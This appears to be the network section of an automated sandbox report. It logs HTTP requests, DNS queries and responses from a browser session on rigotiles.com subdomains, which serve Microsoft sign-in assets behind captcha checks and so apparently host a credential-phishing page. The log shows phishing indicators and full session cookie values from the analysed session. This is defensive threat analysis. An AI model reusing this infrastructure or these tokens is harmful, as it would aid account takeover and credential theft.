Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://mail.rigotiles.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://mail.rigotiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=8X286xg78epWUlZ&MD=DApwh8vU HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js HTTP/1.1Host: vn3hg.rigotiles.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://mail.rigotiles.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://mail.rigotiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=8X286xg78epWUlZ&MD=DApwh8vU HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://mail.rigotiles.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://mail.rigotiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: vn3hg.rigotiles.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mail.rigotiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; MUID=3FEF292F99CD6FE9028E3C0698816E87
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_117b650bccea354984d8.js HTTP/1.1Host: vn3hg.rigotiles.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mail.rigotiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; MUID=3FEF292F99CD6FE9028E3C0698816E87
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: vn3hg.rigotiles.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; MUID=3FEF292F99CD6FE9028E3C0698816E87
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_117b650bccea354984d8.js HTTP/1.1Host: vn3hg.rigotiles.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; MUID=3FEF292F99CD6FE9028E3C0698816E87
Source: global traffic	HTTP traffic detected: GET /common/handlers/watson HTTP/1.1Host: mail.rigotiles.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; MUID=3FEF292F99CD6FE9028E3C0698816E87; esctx-tqcq03maRtc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeshBZkdRtL4uCiakvoFKUDu3OINUz_20GUUDVINotffSlbTWb7a8G4YNtFArgcCTCPKsCD9L0xmgVGLAHq1Y_wENBJBKaSY6c_QUlSL0ILScFRvwDLrvS27gX9qgXcWroShwQ2ZnyokFi_x8kbcBoYiAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAABXAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFerZf0XEYEZYyGvuOyhwJXB0SRCqxULEeublamFNpO0jFXZ9YFjqfZCaUBfBGl91uuei8RAX0IxUQQXCGAW3q6a4UUG7Lx2Kj1Cvos0cPADXEgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeAIdB6zq4vN0DWkBIaJo0qgFemNm-IOQkhwMmnl3AVpjNjIdkgwvGVpLgP48V6TVGSeTlMHBMn5NuqK4HcVUYb-QtDoYuIzsamwnhU0C1nUhK9pDAKsu3LAbS7PHWVR9E_5d-72Y7smPtaCKExlNDWP_1SD4rk6zpjT5kjDEwhcogAA; esctx-6wnTxwCVaTE=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe2e65jp_s8IvfYI3DNLBSNfTbickbZmZ3ptWJ39Fra1v9JlbHB41GP3Ivl_YewUg_Ele1pR2J7OgiZm5AtQIrJJVFszzVnQV7LkcSVPhuu4TuPcf_vaaUceEZV6BFa6EDrm8AWEayHYHT7PEXmkWnXCAA; fpc=AruFywdRNsJGosIYeIFG8IC8Ae7AAQAAAKzltd4OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_d0a803279e7397bef834.js HTTP/1.1Host: vn3hg.rigotiles.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mail.rigotiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; MUID=3FEF292F99CD6FE9028E3C0698816E87
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1Host: vn3hg.rigotiles.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mail.rigotiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; MUID=3FEF292F99CD6FE9028E3C0698816E87
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1Host: vn3hg.rigotiles.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mail.rigotiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; MUID=3FEF292F99CD6FE9028E3C0698816E87
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1Host: vn3hg.rigotiles.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; MUID=3FEF292F99CD6FE9028E3C0698816E87
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1Host: vn3hg.rigotiles.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; MUID=3FEF292F99CD6FE9028E3C0698816E87
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_d0a803279e7397bef834.js HTTP/1.1Host: vn3hg.rigotiles.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; MUID=3FEF292F99CD6FE9028E3C0698816E87
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1Host: vn3hg.rigotiles.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mail.rigotiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; MUID=3FEF292F99CD6FE9028E3C0698816E87
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: vn3hg.rigotiles.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mail.rigotiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; MUID=3FEF292F99CD6FE9028E3C0698816E87
Source: global traffic	HTTP traffic detected: GET /common/handlers/watson HTTP/1.1Host: mail.rigotiles.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; MUID=3FEF292F99CD6FE9028E3C0698816E87; esctx-tqcq03maRtc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeshBZkdRtL4uCiakvoFKUDu3OINUz_20GUUDVINotffSlbTWb7a8G4YNtFArgcCTCPKsCD9L0xmgVGLAHq1Y_wENBJBKaSY6c_QUlSL0ILScFRvwDLrvS27gX9qgXcWroShwQ2ZnyokFi_x8kbcBoYiAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAABXAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFerZf0XEYEZYyGvuOyhwJXB0SRCqxULEeublamFNpO0jFXZ9YFjqfZCaUBfBGl91uuei8RAX0IxUQQXCGAW3q6a4UUG7Lx2Kj1Cvos0cPADXEgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeAIdB6zq4vN0DWkBIaJo0qgFemNm-IOQkhwMmnl3AVpjNjIdkgwvGVpLgP48V6TVGSeTlMHBMn5NuqK4HcVUYb-QtDoYuIzsamwnhU0C1nUhK9pDAKsu3LAbS7PHWVR9E_5d-72Y7smPtaCKExlNDWP_1SD4rk6zpjT5kjDEwhcogAA; esctx-6wnTxwCVaTE=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe2e65jp_s8IvfYI3DNLBSNfTbickbZmZ3ptWJ39Fra1v9JlbHB41GP3Ivl_YewUg_Ele1pR2J7OgiZm5AtQIrJJVFszzVnQV7LkcSVPhuu4TuPcf_vaaUceEZV6BFa6EDrm8AWEayHYHT7PEXmkWnXCAA; fpc=AruFywdRNsJGosIYeIFG8IC8Ae7AAQAAAKzltd4OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /Me.htm?v=3 HTTP/1.1Host: ywnjb.rigotiles.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://mail.rigotiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; MUID=3FEF292F99CD6FE9028E3C0698816E87; uaid=a2301630ceca4905bdbb1f6e71f3d515; MSPRequ=id=N&lt=1730408110&co=1
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1Host: vn3hg.rigotiles.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; MUID=3FEF292F99CD6FE9028E3C0698816E87
Source: global traffic	HTTP traffic detected: GET /common/handlers/watson HTTP/1.1Host: mail.rigotiles.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; MUID=3FEF292F99CD6FE9028E3C0698816E87; esctx-tqcq03maRtc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeshBZkdRtL4uCiakvoFKUDu3OINUz_20GUUDVINotffSlbTWb7a8G4YNtFArgcCTCPKsCD9L0xmgVGLAHq1Y_wENBJBKaSY6c_QUlSL0ILScFRvwDLrvS27gX9qgXcWroShwQ2ZnyokFi_x8kbcBoYiAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAABXAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFerZf0XEYEZYyGvuOyhwJXB0SRCqxULEeublamFNpO0jFXZ9YFjqfZCaUBfBGl91uuei8RAX0IxUQQXCGAW3q6a4UUG7Lx2Kj1Cvos0cPADXEgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeAIdB6zq4vN0DWkBIaJo0qgFemNm-IOQkhwMmnl3AVpjNjIdkgwvGVpLgP48V6TVGSeTlMHBMn5NuqK4HcVUYb-QtDoYuIzsamwnhU0C1nUhK9pDAKsu3LAbS7PHWVR9E_5d-72Y7smPtaCKExlNDWP_1SD4rk6zpjT5kjDEwhcogAA; esctx-6wnTxwCVaTE=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe2e65jp_s8IvfYI3DNLBSNfTbickbZmZ3ptWJ39Fra1v9JlbHB41GP3Ivl_YewUg_Ele1pR2J7OgiZm5AtQIrJJVFszzVnQV7LkcSVPhuu4TuPcf_vaaUceEZV6BFa6EDrm8AWEayHYHT7PEXmkWnXCAA; fpc=AruFywdRNsJGosIYeIFG8IC8Ae7AAQAAAKzltd4OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: vn3hg.rigotiles.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; MUID=3FEF292F99CD6FE9028E3C0698816E87

Source: global traffic	DNS traffic detected: DNS query: www.phsinc.com
Source: global traffic	DNS traffic detected: DNS query: mail.rigotiles.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: js.hcaptcha.com
Source: global traffic	DNS traffic detected: DNS query: i.ibb.co
Source: global traffic	DNS traffic detected: DNS query: newassets.hcaptcha.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: api2.hcaptcha.com
Source: global traffic	DNS traffic detected: DNS query: identity.nel.measure.office.net
Source: global traffic	DNS traffic detected: DNS query: react.rigotiles.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: vn3hg.rigotiles.com
Source: global traffic	DNS traffic detected: DNS query: ywnjb.rigotiles.com
Source: global traffic	DNS traffic detected: DNS query: 206.23.85.13.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com

Source: unknown

HTTP traffic detected: POST /checksiteconfig?v=05c78a4&host=mail.rigotiles.com&sitekey=234adb2f-52ba-4697-82fa-abecbb14b173&sc=1&swa=1&spst=1 HTTP/1.1Host: api2.hcaptcha.comConnection: keep-aliveContent-Length: 0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/jsonContent-Type: text/plainsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://newassets.hcaptcha.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://newassets.hcaptcha.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 31 Oct 2024 20:54:54 GMTTransfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Credentials: trueCache-Control: privateNel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"Referrer-Policy: strict-origin-when-cross-originReport-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+wst"}]}X-Ms-Ests-Server: 2.1.19343.4 - EUS ProdSlicesX-Ms-Request-Id: 8e628d10-e034-41ce-96cc-d2a12f4a0e00X-Ms-Srs: 1.PCF-Cache-Status: BYPASSSet-Cookie: x-ms-gateway-slice=estsfd; Path=/; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8db68afc9c9a44f5-ATLalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=17807&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1262&delivery_rate=162824&cwnd=32&unsent_bytes=0&cid=ef535cba73782a42&ts=530&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 31 Oct 2024 20:54:55 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: PUdqZSXA2YlAOZEKCTIW6TRcp0rIvLZGwN8=$kpknp+nSzdDSstooServer: cloudflareCF-RAY: 8db68b077e514767-DFWalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 31 Oct 2024 20:54:59 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: d6mYmN4/gUlx0gslQgPOrPJ80xy3ZgLWyk0=$/we/Lbp5KZkmXXWYServer: cloudflareCF-RAY: 8db68b1dadb48789-DFWalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 31 Oct 2024 20:55:02 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: TwJetu7gWe4F3IwYdyG0JvdhITuzuDPWpyU=$5YzHaorwKd7i3oIdServer: cloudflareCF-RAY: 8db68b323c4fe93a-DFWalt-svc: h3=":443"; ma=86400

Source: chromecache_89.1.dr, chromecache_125.1.dr	String found in binary or memory: http://feross.org
Source: chromecache_92.1.dr, chromecache_100.1.dr	String found in binary or memory: http://gsgd.co.uk/sandbox/jquery/easing/
Source: chromecache_105.1.dr, chromecache_107.1.dr, chromecache_97.1.dr, chromecache_123.1.dr	String found in binary or memory: http://knockoutjs.com/
Source: chromecache_105.1.dr, chromecache_107.1.dr, chromecache_97.1.dr, chromecache_123.1.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php)
Source: chromecache_105.1.dr, chromecache_118.1.dr, chromecache_89.1.dr, chromecache_122.1.dr, chromecache_107.1.dr, chromecache_125.1.dr, chromecache_97.1.dr, chromecache_108.1.dr, chromecache_123.1.dr, chromecache_91.1.dr	String found in binary or memory: https://github.com/douglascrockford/JSON-js
Source: chromecache_120.1.dr, chromecache_124.1.dr, chromecache_90.1.dr	String found in binary or memory: https://hcaptcha.com/license

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51026
Source: unknown	Network traffic detected: HTTP traffic on port 51044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51030
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51031
Source: unknown	Network traffic detected: HTTP traffic on port 53712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 51038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
